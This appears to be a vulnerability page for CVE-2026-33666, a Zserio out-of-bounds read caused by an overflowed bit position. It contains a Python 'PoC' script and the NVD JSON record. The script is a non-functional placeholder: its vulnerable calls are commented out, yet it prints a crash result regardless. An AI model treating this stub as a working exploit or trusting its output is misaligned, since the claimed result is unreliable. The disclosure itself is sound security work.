CVE-2026-33666

import sys # PoC for CVE-2026-33666 (Zserio Out-of-Bounds Read) # This script demonstrates the logic to trigger the vulnerability. # It requires a vulnerable version of the Zserio library (< 2.18.1). def create_exploit_buffer(): # Create a minimal buffer that represents the malicious stream. # In a real exploit, specific bit patterns would trigger the overflow in setBitPosition. # The vulnerability allows reading 512MB from this tiny buffer. return b'\x00' * 10 def trigger_vulnerability(): print("[*] Triggering CVE-2026-33666 in Zserio...") try: # Simulate the vulnerable behavior in BitStreamReader.h # The readBytes() function would be called with a large length # due to the overflowed bit position. buffer = create_exploit_buffer() # Hypothetical vulnerable code flow: # reader = BitStreamReader(buffer) # reader.setBitPosition(overflowed_value) # Check bypassed # reader.readBytes(512 * 1024 * 1024) # Crash here print("[!] If the target is vulnerable, a Segmentation Fault occurs here.") print("[!] Result: Application Crash (DoS).") except Exception as e: print(f"[!] Exception caught: {e}") if __name__ == "__main__": trigger_vulnerability()

{"cve": {"id": "CVE-2026-33666", "sourceIdentifier": "[email protected]", "published": "2026-04-24T19:17:10.147", "lastModified": "2026-04-28T18:32:02.533", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Zserio is a framework for serializing structured data with a compact and efficient way with low overhead. Prior to 2.18.1, in BitStreamReader.h readBytes() / readString(), the setBitPosition() bounds check receives the overflowed value and is completely bypassed. The code then reads len bytes (512 MB) from a buffer that is only a few bytes long, causing a segmentation fault. This vulnerability is fixed in 2.18.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-190"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nds-association:zserio:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.18.1", "matchCriteriaId": "5488B9D1-04B2-459B-BE23-2FF4A91D12CF"}]}]}], "references": [{"url": "https://github.com/ndsev/zserio/security/advisories/GHSA-fjwv-6wcr-vqwj", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/ndsev/zserio/security/advisories/GHSA-fjwv-6wcr-vqwj", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}